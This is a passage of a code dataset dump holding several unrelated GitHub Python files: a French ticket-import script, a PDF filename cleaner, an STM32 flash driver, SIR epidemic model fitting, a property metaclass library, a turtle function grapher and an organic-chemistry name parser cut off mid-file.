,`commentaires`) VALUES (NULL , NOW(), \"+config_json[\"parameters\"][\"type_log\"]+\", '[INFO][Etape:fin][Statut:KO]Synchro Brise-NOA');\"\n try:\n cur_ring.execute(sql)\n cnx_ring.commit()\n except mysql.connector.Error as err:\n MyLogger.logger.error(\"Erreur : \"+format(err))\n MyLogger.logger.debug(\"SQL : \"+sql) \n cnx_ring.close()\n sys.exit(\"Erreur\")\n\n#Procedure Say More\ndef more() :\n MyLogger.logger.info(\"Les options disponible sont : 'importer'.\")\n MyLogger.logger.info(\"Exemple de syntax pour 'decode' : 'python script_import_oceane.py exemple.config.api.oda_noa.json importer'.\")\n MyLogger.logger.info(\"Exemple de syntax pour 'more' : 'python script_import_oceane.py more'.\")\n \n\n#Message de bienvenu.\nMyLogger.logger.info (\"Bienvenue dans le script d'importation des tickets Océnane.\")\n\n#Récupération des arguments.\nfor x in sys.argv :\n i += 1\n if i == 2 :\n arguments[\"param\"] = x\n elif i == 3 :\n arguments[\"action\"] = x\n if x not in [\"importer\"] :\n MyLogger.logger.warning(\"Votre premier argument (\"+x+\") est incorrect, seul 'importer' sont aurorisés.\")\n sys.exit(\"Erreur\")\n else :\n MyLogger.logger.info(\"Mode d'action choisi : \"+x+\".\")\n arguments[\"action\"] = x\n \n if len(arguments) == 0 :\n arguments[\"action\"] = \"more\"\n\n#Affichage \nif arguments[\"action\"] == \"importer\" :\n charger_config()\n importer()\nelif arguments[\"action\"] == \"more\" :\n more()\n\n#Message de fin.\nMyLogger.logger.info (\"Fin du script.\")\nsys.exit(0)\n\n \n","repo_name":"Happykiller/ODA_NOA","sub_path":"Scripts_python/import_oceane/script_import_oceane.py","file_name":"script_import_oceane.py","file_ext":"py","file_size_in_byte":12555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25358759934","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Nov 26 12:11:47 2019\n\n@author: antonio\n\"\"\"\n\nimport os\n############# Make a copy of entire directory so we do not lose the originals ################# \n\n\ndef format_filenames(datapath, copy=False):\n \n if copy == True:\n ############# Make a copy of entire directory so we do not lose the originals #################\n \n # First, remove spaces (DONE through command line)\n \n # Then, remove weird characters\n for root, dirs, files in os.walk(datapath):\n for filename in files:\n if filename[-3:] == 'pdf': # get only txt files\n \n # Remove internal dots\n filename_no_dots = filename.replace('.', '')\n filename_list = list(filename_no_dots)\n filename_list[-3:] = list('.pdf')\n filename_one_dot = \"\".join(filename_list)\n \n # Remove internal commas and accents\n old_symbols = [',', 'á', 'é', 'í', 'ó', 'ú']\n new_symbols = ['', 'a', 'e', 'i', 'o', 'u']\n filename_new_symbols = filename_one_dot\n for old, new in zip(old_symbols, new_symbols):\n filename_new_symbols = filename_new_symbols.replace(',', '')\n \n # Rename file\n os.rename(os.path.join(root,filename), os.path.join(root, filename_new_symbols))\n \n else:\n print('Make a copy of entire directory so we do not lose the originals,then, change copy parameter to True') \nif __name__ == '__main__':\n ############# Make a copy of entire directory so we do not lose the originals ################# \n\n datapath = '/home/antonio/Downloads/ecimed_splitted'\n format_filenames(datapath, copy=False)","repo_name":"tonifuc3m/utils_BSC","sub_path":"format_filenames.py","file_name":"format_filenames.py","file_ext":"py","file_size_in_byte":1949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42606206197","text":"import time\n\nFLASH_KR = 0x40022004\nFLASH_SR = 0x4002200C\nFLASH_CR = 0x40022010\nFLASH_AR = 0x40022014\n\nFLASH_KR_KEY1 = 0X45670123\nFLASH_KR_KEY2 = 0XCDEF89AB\n\nFLASH_SR_BUSY = (1 << 0)\n\nFLASH_CR_PWRITE = (1 << 0) #Page Write\nFLASH_CR_SERASE = (1 << 1) #Sect Erase\nFLASH_CR_CERASE = (1 << 2) #Chip Erase\nFLASH_CR_ESTART = (1 << 6) #Erase Start\nFLASH_CR_LOCK = (1 << 7)\n\nclass STM32F103C8(object):\n CHIP_CORE = 'Cortex-M3'\n\n PAGE_SIZE = 1024 * 1\n SECT_SIZE = 1024 * 1\n CHIP_SIZE = 1024 * 64\n\n def __init__(self, xlink):\n super(STM32F103C8, self).__init__()\n \n self.xlink = xlink\n\n def unlock(self):\n self.xlink.write_U32(FLASH_KR, FLASH_KR_KEY1)\n self.xlink.write_U32(FLASH_KR, FLASH_KR_KEY2)\n\n def lock(self):\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) | FLASH_CR_LOCK)\n\n def wait_ready(self):\n while self.xlink.read_U32(FLASH_SR) & FLASH_SR_BUSY:\n time.sleep(0.001)\n \n def sect_erase(self, addr, size):\n self.unlock()\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) | FLASH_CR_SERASE)\n for i in range(0, (size + self.SECT_SIZE - 1) // self.SECT_SIZE):\n self.xlink.write_U32(FLASH_AR, 0x08000000 + addr + self.SECT_SIZE * i)\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) | FLASH_CR_ESTART)\n self.wait_ready()\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) &~FLASH_CR_SERASE)\n self.lock()\n\n def page_write(self, addr, data):\n self.unlock()\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) | FLASH_CR_PWRITE)\n for i in range(self.PAGE_SIZE//2):\n self.xlink.write_U16(addr + i*2, data[i*2] | (data[i*2+1] << 8))\n self.wait_ready()\n self.xlink.write_U32(FLASH_CR, self.xlink.read_U32(FLASH_CR) &~FLASH_CR_PWRITE)\n self.lock()\n \n def chip_write(self, addr, data):\n self.sect_erase(addr, len(data))\n\n for i in range(0, len(data)//self.PAGE_SIZE):\n self.page_write(0x08000000 + addr + self.PAGE_SIZE * i, data[self.PAGE_SIZE*i : self.PAGE_SIZE*(i+1)])\n\n def chip_read(self, addr, size, buff):\n c_char_Array = self.xlink.read_mem(addr, size)\n\n buff.extend(list(bytes(c_char_Array)))\n\n\nclass STM32F103RC(STM32F103C8):\n PAGE_SIZE = 1024 * 2\n SECT_SIZE = 1024 * 2\n CHIP_SIZE = 1024 * 256\n","repo_name":"XIVN1987/MCUProg","sub_path":"device/STM32F103_LS.py","file_name":"STM32F103_LS.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":133,"dataset":"github-code","pt":"37"} +{"seq_id":"26630801914","text":"from collections import defaultdict\nfrom sklearn.model_selection import ParameterSampler\nimport joblib\nimport numpy as np\nfrom pathlib import Path\nfrom iminuit import Minuit\nimport multiprocessing as mp\nfrom tqdm import tqdm\nfrom scipy.stats import uniform as sp_uniform\nfrom copy import copy, deepcopy\nfrom importlib import reload\nimport warnings\nfrom p_tqdm import p_umap\nfrom functools import partial\n\ntry:\n from src.utils import utils\n from src import file_loaders\n from src import SIR\nexcept ImportError:\n import utils\n import file_loaders\n import SIR\n\n# reload(SIR)\n\n\ndef uniform(a, b):\n loc = a\n scale = b - a\n return sp_uniform(loc, scale)\n\n\ndef extract_data(t, y, T_max, N_tot, y_max=0.01):\n \"\"\"Extract data where:\n 1) y is larger than 1‰ (permille) of N_tot\n 1) y is smaller than y_max of N_tot (default 1%)\n 1) t is less than T_max\"\"\"\n mask_min_1_permille = y > N_tot * 1 / 1000\n mask_max_1_percent = y < N_tot * y_max\n mask_T_max = t < T_max\n mask = mask_min_1_permille & mask_max_1_percent & mask_T_max\n return t[mask], y[mask]\n\n\ndef add_fit_results_to_fit_object(fit_object, filename, cfg, T_max, df, make_MC_fits=False):\n\n fit_object.filename = filename\n\n I_max_SIR, R_inf_SIR = SIR.calc_deterministic_results(cfg, T_max * 1.2, dt=0.01, ts=0.1)\n I_max_fit, R_inf_fit = fit_object.compute_I_max_R_inf(T_max=T_max * 1.5)\n\n fit_object.I_max_ABM = np.max(df[\"I\"])\n fit_object.I_max_fit = I_max_fit\n fit_object.I_max_SIR = I_max_SIR\n\n fit_object.R_inf_ABM = df[\"R\"].iloc[-1]\n fit_object.R_inf_fit = R_inf_fit\n fit_object.R_inf_SIR = R_inf_SIR\n\n if make_MC_fits:\n SIR_results, I_max_MC, R_inf_MC = fit_object.make_monte_carlo_fits(\n N_samples=100, T_max=T_max * 1.5, ts=0.1\n )\n # fit_object.SIR_results = SIR_results\n fit_object.I_max_MC = I_max_MC\n fit_object.R_inf_MC = R_inf_MC\n\n\ndef draw_random_p0(cfg, N_max_fits):\n param_grid = {\n # 'lambda_E': uniform(cfg.lambda_E/10, cfg.lambda_E*5),\n # 'lambda_I': uniform(cfg.lambda_I/10, cfg.lambda_I*5),\n \"beta\": uniform(cfg.beta / 10, cfg.beta * 5),\n \"tau\": uniform(-10, 10),\n }\n i = 0\n while i < N_max_fits:\n random_p0 = list(ParameterSampler(param_grid, n_iter=1))[0]\n yield i, random_p0\n i += 1\n\n\ndef refit_if_needed(fit_object, cfg, bounds, fix, minuit, N_max_fits=10, debug=False):\n\n fit_failed = True\n i_refits = 0\n\n if fit_object.valid_fit:\n fit_failed = False\n\n else:\n\n minuit_dict = dict(\n pedantic=False,\n print_level=0,\n **bounds,\n errordef=Minuit.LEAST_SQUARES,\n **fix,\n )\n\n # max_reduced_chi2 = np.linspace(3, 3, N_max_fits)\n\n best_fit_red_chi2 = 1e10\n best_fit = None\n\n for i_refits, random_p0 in draw_random_p0(cfg, N_max_fits):\n\n minuit = Minuit(fit_object, **random_p0, **minuit_dict)\n minuit.migrad()\n # fit_object.set_minuit(minuit, max_reduced_chi2[i_refits])\n fit_object.set_minuit(minuit, max_reduced_chi2=100)\n\n better_chi2 = fit_object.reduced_chi2 < best_fit_red_chi2\n semi_valid = fit_object._valid_fit(minuit, max_reduced_chi2=None)\n if better_chi2 and semi_valid:\n best_fit = copy(fit_object)\n best_fit_red_chi2 = fit_object.reduced_chi2\n\n if debug:\n print(i_refits, fit_object.reduced_chi2)\n\n if fit_object.valid_fit:\n fit_failed = False\n fit_object = best_fit\n break\n\n # if unable to fit the data, stop the fit\n if fit_failed:\n return fit_object, fit_failed\n\n # compute better errors (slow!)\n # minuit.minos()\n # fit_object.set_minuit(minuit)\n\n fit_object.N_refits = i_refits\n return fit_object, fit_failed\n\n\ndef run_actual_fit(t, y, sy, cfg, dt, ts):\n\n debug = False\n # debug = True\n\n # np.random.seed(cfg.ID)\n np.random.seed(42)\n\n if debug:\n reload(SIR)\n print(\"delete this\")\n\n # reload(SIR)\n normal_priors = dict(\n # multiplier=0,\n # lambda_E={'mean': cfg.lambda_E, 'std': cfg.lambda_E/10},\n # lambda_I={'mean': cfg.lambda_I, 'std': cfg.lambda_I/10},\n # beta= {'mean': 0.01, 'std': 0.05},\n )\n\n p0 = dict(\n lambda_E=cfg.lambda_E,\n lambda_I=cfg.lambda_I,\n beta=cfg.beta,\n tau=0,\n )\n\n bounds = dict(\n limit_lambda_E=(1e-6, None),\n limit_lambda_I=(1e-6, None),\n limit_beta=(1e-6, None),\n )\n\n fix = dict(\n fix_lambda_E=True,\n fix_lambda_I=True,\n )\n\n fit_object = SIR.FitSIR(t, y, sy, normal_priors, cfg, dt=dt, ts=ts)\n minuit = Minuit(\n fit_object,\n pedantic=False,\n print_level=0,\n **p0,\n **bounds,\n **fix,\n errordef=Minuit.LEAST_SQUARES,\n )\n\n minuit.migrad()\n\n fit_object.set_minuit(minuit)\n\n fit_object, fit_failed = refit_if_needed(fit_object, cfg, bounds, fix, minuit, debug=debug)\n\n return fit_object, fit_failed\n\n\ndef fit_single_file(filename, cfg, ts=0.1, dt=0.01, y_max=0.01):\n\n df = file_loaders.pandas_load_file(filename)\n\n df_interpolated = SIR.interpolate_df(df)\n\n # Time at end of simulation\n T_max = df[\"time\"].max()\n\n # time at peak I (peak infection)\n T_peak = df[\"time\"].iloc[df[\"I\"].argmax()]\n\n # extract data between 1 permille and 1 percent I of N_tot and lower than T_max\n t, y = extract_data(\n t=df_interpolated[\"time\"].values,\n y=df_interpolated[\"I\"].values,\n T_max=T_peak,\n N_tot=cfg.N_tot,\n y_max=y_max,\n )\n sy = np.sqrt(y)\n\n if len(t) < 5:\n return filename, f\"Too few datapoints (N = {len(t)})\"\n\n fit_object, fit_failed = run_actual_fit(t, y, sy, cfg, dt, ts)\n if fit_failed:\n return filename, \"Fit failed\"\n\n try:\n add_fit_results_to_fit_object(\n fit_object,\n filename,\n cfg,\n T_max,\n df,\n make_MC_fits=False,\n )\n except AttributeError as e:\n print(filename)\n print(\"\\n\\n\")\n raise e\n\n return filename, fit_object\n\n\n#%%\n\nfrom collections import Counter\n\n\ndef fit_multiple_files(cfg, filenames, num_cores=1, do_tqdm=True, y_max=0.01, verbose=False):\n\n func = partial(fit_single_file, cfg=cfg, y_max=y_max)\n\n if num_cores == 1:\n if do_tqdm:\n filenames = tqdm(filenames)\n results = [func(filename) for filename in filenames]\n\n else:\n results = p_umap(func, filenames, num_cpus=num_cores, disable=True)\n\n reject_counter = Counter()\n\n # postprocess results from multiprocessing:\n fit_objects = {}\n for filename, fit_result in results:\n\n if isinstance(fit_result, str):\n if verbose:\n print(f\"\\n\\n{filename} was rejected due to {fit_result.lower()}\")\n reject_counter[fit_result.lower()] += 1\n\n else:\n fit_object = fit_result\n fit_objects[filename] = fit_object\n reject_counter[\"no rejection\"] += 1\n\n return fit_objects, reject_counter\n\n\ndef get_fit_results(abm_files, force_rerun=False, num_cores=1, y_max=0.01):\n\n all_fits_file = f\"Data/fits_ymax_{y_max}.joblib\"\n\n if Path(all_fits_file).exists() and not force_rerun:\n print(\"Loading all Imax fits\", flush=True)\n return joblib.load(all_fits_file)\n\n else:\n\n all_fits = {}\n print(\n f\"Fitting {len(abm_files.all_filenames)} files with {len(abm_files.cfgs)} different simulation parameters, please wait.\",\n flush=True,\n )\n\n reject_counter = Counter()\n\n desc = \"Fitting ABM simulations\"\n for cfg, filenames in tqdm(abm_files.iter_folders(), total=len(abm_files.cfgs), desc=desc):\n # break\n output_filename = Path(\"Data/fits\") / f\"fits_{cfg.hash}_ymax_{y_max}.joblib\"\n utils.make_sure_folder_exist(output_filename)\n\n if output_filename.exists():\n all_fits[cfg.hash] = joblib.load(output_filename)\n\n else:\n with warnings.catch_warnings():\n warnings.filterwarnings(\n \"ignore\", message=\"covariance is not positive-semidefinite.\"\n )\n fit_results, reject_counter_tmp = fit_multiple_files(\n cfg,\n filenames,\n num_cores=num_cores,\n y_max=y_max,\n )\n\n joblib.dump(fit_results, output_filename)\n all_fits[cfg.hash] = fit_results\n reject_counter += reject_counter_tmp\n\n print(reject_counter)\n\n joblib.dump(all_fits, all_fits_file)\n return all_fits\n\n\nif False:\n\n import matplotlib.pyplot as plt\n from matplotlib.ticker import EngFormatter\n\n filename = \"Data/ABM/e24e6303fc/ABM_2020-10-12_e24e6303fc_ID__0.hdf5\"\n cfg = file_loaders.filename_to_cfg(filename)\n filename, fit_result = fit_single_file(filename, cfg, ts=0.1, dt=0.01, y_max=0.01)\n\n t = fit_result.t\n T_max = max(t) * 1.1\n df_fit = fit_result.calc_df_fit(ts=0.1, T_max=T_max)\n\n xlim = (63, 97)\n ylim = (0, 75_000)\n\n fig, ax = plt.subplots(figsize=(6, 6))\n ax.errorbar(t, fit_result.y, fit_result.sy, fmt=\".\", label=\"ABM\")\n ax.plot(df_fit[\"time\"], df_fit[\"I\"], label=\"Fit\")\n ax.set(xlim=xlim, title=\"Fit\", ylim=ylim)\n ax.text(\n 0.1,\n 0.8,\n f\"$\\chi^2 = {fit_result.chi2:.1f}, N = {fit_result.N}$\",\n transform=ax.transAxes,\n fontsize=24,\n )\n ax.yaxis.set_major_formatter(EngFormatter())\n\n\n#%%\n\nimport pandas as pd\n\nfrom iminuit import Minuit, describe\nfrom iminuit.util import make_func_code\nfrom IPython.display import display\n\n\ndef exponential(t, I_0, R_eff, T):\n return I_0 * R_eff ** (t / T)\n\n\nclass FitSingleInfection_R_eff:\n def __init__(self, I, x=None, verbose=True):\n\n self.I = I.copy()\n if x is not None:\n self.x = x.copy()\n else:\n self.x = np.arange(len(I))\n self.sy = np.sqrt(I)\n\n self.verbose = verbose\n\n self.model = exponential\n self.fit_kwargs = {\n \"I_0\": self.I[0],\n \"R_eff\": 1,\n \"limit_R_eff\": (0, None),\n \"T\": 4.7,\n \"fix_T\": True,\n }\n self.func_code = make_func_code(describe(self.model)[1:])\n self.N_fit_parameters = len(describe(self.model)[1:])\n self.N = len(I)\n self.df = self.N - self.N_fit_parameters\n\n def __call__(self, *par):\n yhat = self.model(self.x, *par)\n chi2 = np.sum((yhat - self.I) ** 2 / self.sy ** 2)\n return chi2\n\n def fit_single_week(self, verbose=None):\n if verbose is None:\n verbose = self.verbose\n m = Minuit(self, errordef=1, pedantic=False, **self.fit_kwargs)\n m.migrad()\n if not m.fmin.is_valid:\n print(\"Not valid fit\")\n if verbose:\n display(m.fmin)\n display(m.params)\n return dict(m.values), dict(m.errors)\n\n def fit_daily_R_eff(self, time_shift=0, keep_all_times=True):\n self.I_org = self.I.copy()\n self.x_org = self.x.copy()\n self.sy_org = self.sy.copy()\n R_eff = {}\n for day in range(7, self.N):\n days = np.arange(day - 7, day)\n self.I = self.I_org[days]\n self.x = self.x_org[days]\n self.sy = self.sy_org[days]\n values, errors = self.fit_single_week(verbose=False)\n\n if keep_all_times or day - time_shift >= 0:\n R_eff[day - time_shift] = {\n \"mean\": values[\"R_eff\"],\n \"std\": errors[\"R_eff\"],\n \"day_start\": days[0] - time_shift,\n \"day_end\": days[-1] - time_shift,\n }\n R_eff = pd.DataFrame(R_eff).T\n self.I = self.I_org\n self.x = self.x_org\n self.sy = self.sy_org\n del self.I_org\n del self.x_org\n del self.sy_org\n return R_eff.convert_dtypes().copy()\n","repo_name":"ChristianMichelsen/NetworkSIR","sub_path":"src/fits.py","file_name":"fits.py","file_ext":"py","file_size_in_byte":12240,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"21090364842","text":"\nimport sys\n\nfrom bento.properties import _BaseProperty, ObjectProperty, ListProperty, LockedProperty\nfrom bento.core_exceptions import *\n\n\nclass _BentobjMetaclass(type):\n\n def __new__(cls, name, bases, dct):\n\n for base in bases:\n for key, value in base.__dict__.items():\n if isinstance(value,_BaseProperty):\n dct[key] = base.__dict__[key]\n # WARNING! potential bug!\n # delattr(base, key)\n\n prop = {}\n for key,value in dct.items():\n if isinstance(value, _BaseProperty):\n prop[key] = (value.__class__, value._property_index)\n\n consecutive_arguments = [(key,value[1]) for key,value in prop.items()]\n consecutive_arguments.sort(key=lambda a : a[1])\n consecutive_arguments = [arg for arg,i in consecutive_arguments]\n\n dct.update({'_core_properties': prop,\n '_consecutive_arguments': consecutive_arguments,\n })\n \n return super(_BentobjMetaclass, cls).__new__(cls, name, bases, dct)\n\n\n# Create the base class according to python version\n# Base class definition for Python 3 is not in the same \n# file because it raises an syntax error when running\n# in a Python 2 environment.\nif sys.version_info.major == 3:\n from bento._p3k_metaclass import get_p3k_metaclass\n _Bentobjct = get_p3k_metaclass(_BentobjMetaclass)\n\nelse:\n class _Bentobjct(object):\n __metaclass__ = _BentobjMetaclass\n\n\nclass Bento(_Bentobjct):\n\n def __init__(self, *args, **kwargs):\n \n self._cached_properties = {} #cache for define_ functions\n self._strongly_cached_properties = set() # define_functions which will never be removed from cache\n self._set_consecutive_arguments(args)\n\n for prop_name in self._consecutive_arguments[len(args):]:\n prop = self.__class__.__getattribute__(self.__class__,prop_name)\n if prop.required_property:\n if not prop_name in kwargs.keys():\n if not hasattr(self, \"init_%s\" % prop_name) and not hasattr(self.__class__, \"define_%s\" % prop_name):\n raise TypeError(\"Missing required value: '%s'\" % prop_name)\n \n self.__explicity_values = []\n for key,value in kwargs.items():\n if key in self._core_properties:\n #TODO: locked\n # if isinstance(self.__class__.__getattribute__(self.__class__,key), LockedProperty):\n # print(8888)\n self.__explicity_values.append(key)\n setattr(self, key, value)\n else:\n raise UnexpectedArgumentError(\"Got an unexpected key: '%s'\" % key)\n \n self._lazy_pointers = {}\n self._define_properties()\n\n\n def _define_properties(self):\n \"\"\"\n This function handle automatic definitions for properties\n\n class A(Bento):\n a = IntegerProperty()\n def init_a(self):\n a = rand.random()\n \"\"\"\n for prop in self._core_properties.keys():\n\n if prop in self.__explicity_values:\n continue\n\n init_name = \"init_%s\" % prop\n lazy = \"define_%s\" % prop\n if hasattr(self.__class__, lazy):\n f = getattr(self, lazy)\n self._lazy_pointers[prop] = f\n continue\n\n if hasattr(self, init_name):\n f = getattr(self, init_name)\n value = f()\n setattr(self, prop, value)\n \n\n def _set_consecutive_arguments(self, args):\n \n if len(args) > len(self._consecutive_arguments):\n raise ArgumentsArithmError()\n\n for arg,attr in zip(args, self._consecutive_arguments):\n setattr(self, attr, arg)\n\n def dump(self):\n \"\"\"\n Convert it from object to structure\n \"\"\"\n\n d = {}\n\n for arg in self._consecutive_arguments:\n if hasattr(self, arg):\n obj = getattr(self, arg)\n\n if isinstance(obj, Bento):\n d[arg] = obj.dump()\n elif isinstance(obj,(list, tuple)):\n if obj:\n if isinstance(obj[0], Bento):\n d[arg] = [v.dump() for v in obj]\n else:\n d[arg] = [v for v in obj]\n else:\n d[arg] = []\n else:\n d[arg] = getattr(self, arg)\n\n return d\n\n @classmethod\n def load(cls, raw):\n \"\"\" \n Recreate a Bento object based on a structure\n \"\"\"\n bento_object = cls()\n\n for key,value in raw.items():\n\n if key in bento_object._core_properties:\n meta_obj = cls.__getattribute__(cls,key)\n \n if isinstance(meta_obj, ObjectProperty):\n obj_class = meta_obj._object_definition\n obj = obj_class.load(value)\n setattr(bento_object, key, obj)\n\n elif isinstance(meta_obj, ListProperty):\n obj_class = meta_obj._keys['list_content_type']\n if issubclass(obj_class, Bento):\n obj = [obj_class.load(v) for v in value]\n else:\n obj = [obj_class(v) for v in value]\n setattr(bento_object, key, obj)\n\n else:\n setattr(bento_object, key, value)\n \n else:\n raise UnexpectedArgumentError(\"%s got an unexpected argument named '%s'\" % (cls, key))\n\n return bento_object\n\n def _touch(self):\n \"\"\"\n Actually does nothing. Used for performance measurement\n \"\"\"\n\n for arg in self._consecutive_arguments:\n if hasattr(self, arg):\n obj = getattr(self, arg)\n\n if isinstance(obj, Bento):\n obj._touch()\n elif isinstance(obj,(list, tuple)):\n if obj:\n if isinstance(obj[0], Bento):\n for v in obj:\n v._touch()\n else:\n getattr(self, arg)\n\n\n\n\ndef cache(function):\n \"\"\"\n Cache decorator\n \"\"\"\n\n def decorator(*args, **kwargs):\n self = args[0]\n prop_name = function.__name__[7:] # removing 'define_'\n self._strongly_cached_properties.add(prop_name)\n return function(*args, **kwargs)\n\n if function.__name__.startswith('define_'):\n return decorator\n else:\n return function\n","repo_name":"alvesjnr/PyBento","sub_path":"bento/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":6765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11997809764","text":"import turtle\nimport graph.module as module\n\n\nclass Graph:\n ''' Represent a Cartesian orthogonal system Oxy\n\n Attributes: width - lenght of Ox\n height - lenght of Oy\n unit - pixels correspond with 1 unit in Ox\n pen - a object of turtle class\n '''\n def __init__(self, width, height):\n self.width = width\n self.height = height\n self.unit = 250 / max(self.width, self.height)\n self.pen = turtle.Turtle()\n self.pen.hideturtle() # hide turtle\n self.pen.speed(0) # set max speed\n\n module.initOxy(self.pen, self.width, self.height, self.unit)\n # draw Cartesian orthogonal system Oxy\n\n color = ['red', 'blue', 'green', 'brown', 'orange'] # color of pen\n indexColor = 0\n\n def draw(self, func, sepLine=True):\n if sepLine: # 2 line is not same color\n if Graph.indexColor == len(Graph.color):\n Graph.indexColor = 0\n self.pen.pencolor(Graph.color[Graph.indexColor])\n Graph.indexColor += 1\n\n lines = module.makeLine(func, self.width, self.height, self.unit)\n for line in lines:\n first = True\n for (x, y) in line:\n if first: # this point is the first of a line\n self.pen.pu()\n self.pen.goto((x, y))\n self.pen.pd()\n first = False\n else:\n self.pen.goto((x, y))\n\n\ndef main():\n width = turtle.numinput('INPUT WIDTH', 'Enter width: ', 10, 0, 50)\n if width is None:\n return\n\n height = turtle.numinput('INPUT HEIGHT', 'Enter height: ', 10, 0, 50)\n if height is None:\n return\n\n graph = Graph(width, height)\n\n while True:\n func = turtle.textinput(\"IMPORT FUNCTION\", \"Enter function: \")\n if func is None:\n break\n\n graph.draw(func)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Hi-Im-darkness/graph","sub_path":"graph/graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71302717547","text":"#Organic Chemistry\nimport turtle\nimport re\n\nprefixes = ['meth','eth','prop','but','pent','hex','hept','oct','non','dec','undec','dodec'] \ngreekL = ['di','tri','tetra'] + [elt + 'a' for elt in prefixes[4:]]\nsuffixes = {'e':[],'ol':['OH'],'al':['O'],'one':['O'],'oique':['O','OH']}\n\nGRID = 6\nDEG = 360/GRID\nSIZE = 50\n\ndef valid(molecule):\n #BEHOLD MY MONSTROSITY\n Npre = '(' + '|'.join(prefixes) + ')'\n Gpre = '(' + '|'.join(greekL) + ')'\n suf1 = '(' + '|'.join(list(suffixes)[::2]) + ')' #suffixes that don't need a positional argument\n suf2 = '(' + '|'.join(list(suffixes)[1::2]) + ')' #suffixes that need a positional argument\n \n nums = '(([0-9],?)+)-' #ex: 2,12,3,6\n rams = nums+Gpre+'?'+Npre+'yl' #ex: 2,2-dimethyl\n \n groups = nums+Gpre+'?'+suf2 #ex: -2,3-diol\n princ = Npre+'an('+suf1+'|(-'+groups+'))' #ex: propane, methanoique, butan-1,2-diol\n \n exp = r'(acide )?('+rams+'(-?))*'+princ #3-ethyl-2,2-dimethylhexan-4,5-diol]\n \n ind = re.fullmatch(exp,molecule)\n\n if ind == None:\n return False\n return True\n\ndef removeAcide(mol):\n if mol[:6] == 'acide ':\n if mol[-5:] == suffixes[4]:\n mol = mol[6:]\n else:\n print('ERROR not acide')\n \n return mol\n\ndef getElt(liste, mol):\n for elt in liste:\n if mol.find(elt) == 0:\n return elt\n return None\n\ndef getList(link, string):\n liste = []\n temp = ''\n for x in string:\n if x != link:\n temp += x\n else:\n liste.append(temp)\n temp = ''\n if temp != '':\n liste.append(temp)\n return liste\n\ndef getNumbs(string):\n ind = string.find('-')\n numb = getList(',', string[:ind])\n string = string[ind+1:]\n \n numb = [int(elt) for elt in numb]\n \n return numb, string\n\ndef getRepeat(string):\n greek = getElt(greekL, string)\n \n repeat = 1\n if greek:\n repeat = greekL.index(greek)+2\n string = string[len(greek):]\n \n return repeat, string\n\ndef sign(degrees):\n if degrees > 180:\n return -1\n else:\n return 1\n\ndef drawElt(elt, t):\n if type(elt) == str:\n t.write(elt, align=\"center\", font=('Arial', 12, 'bold'))\n elif type(elt) == int:\n tempPos = t.pos()\n tempHead = t.heading()\n d = 1\n t.down()\n for i in range(elt-1):\n t.right(d*DEG)\n d = -d\n t.forward(SIZE)\n t.up()\n t.setpos(tempPos)\n t.seth(tempHead)\n t.down()\n\ndef drawMolecule(liste):\n wn = turtle.Screen()\n wn.bgcolor(\"#eeeee4\")\n wn.title(\"PC Organic Chemistry\")\n #<-code from https://stackoverflow.com/questions/44775445/python-turtle-window-on-top\n rootwindow = wn.getcanvas().winfo_toplevel()\n rootwindow.call('wm', 'attributes', '.', '-topmost', '1')\n rootwindow.call('wm', 'attributes', '.', '-topmost', '0')\n #->\n\n turt = turtle.Turtle()\n turt.pensize(2)\n turt.up()\n\n offset = -(len(liste)-1)*43\n turt.setx(offset/2)\n \n #DRAW FIRST LINK\n turt.down()\n if len(liste[0]) >= 1:\n drawElt(liste[0][0], turt)\n turt.seth(DEG/2)\n turt.forward(SIZE)\n \n if len(liste[0]) >= 2:\n turt.right(DEG*2)\n turt.backward(SIZE)\n drawElt(liste[0][1], turt)\n turt.forward(SIZE)\n turt.left(DEG)\n turt.up()\n turt.seth(DEG/2)\n \n #DRAW CHAIN\n for C in liste[1:-1]:\n turt.down()\n if turt.heading() < 180:\n turt.right(DEG)\n else:\n turt.left(DEG)\n \n if len(C) >= 0:\n turt.forward(SIZE)\n if len(C) == 1:\n turt.left(sign(turt.heading()) * 60)\n turt.forward(SIZE)\n drawElt(C[0], turt)\n turt.backward(SIZE)\n turt.right(sign(turt.heading()) * 60)\n if len(C) == 2:\n turt.left(sign(turt.heading()) * 90)\n turt.forward(SIZE)\n drawElt(C[0], turt)\n turt.backward(SIZE)\n turt.right(sign(turt.heading()) * 180)\n turt.forward(SIZE)\n drawElt(C[1], turt)\n turt.backward(SIZE)\n turt.right(sign(turt.heading()) * 150)\n turt.up() \n \n #DRAW LAST\n if len(liste) > 1:\n turt.down()\n if turt.heading() < 180:\n turt.right(DEG)\n else:\n turt.left(DEG)\n \n if len(liste[-1]) == 0:\n turt.forward(SIZE)\n \n if len(liste[-1]) >= 1:\n drawElt(liste[-1][0], turt)\n turt.seth(DEG/2)\n turt.forward(SIZE)\n \n if len(liste[-1]) >= 2:\n turt.backward(SIZE)\n turt.right(DEG)\n turt.forward(SIZE)\n drawElt(liste[-1][-1], turt)\n turt.up()\n turt.hideturtle()\n turtle.done()\n\ndef parseMolecule(mol):\n tempM = mol\n \n #RAMMIFICATION\n rammify = []\n\n for i in range(tempM.count('yl')):\n numb, tempM = getNumbs(tempM)\n repeat, tempM= getRepeat(tempM)\n \n if len(numb) != repeat:\n print(\"ERROR: {} doesn't match {}\".format(len(numb),repeat))\n \n pre = getElt(prefixes, tempM)\n tempM = tempM[len(pre):]\n \n val = 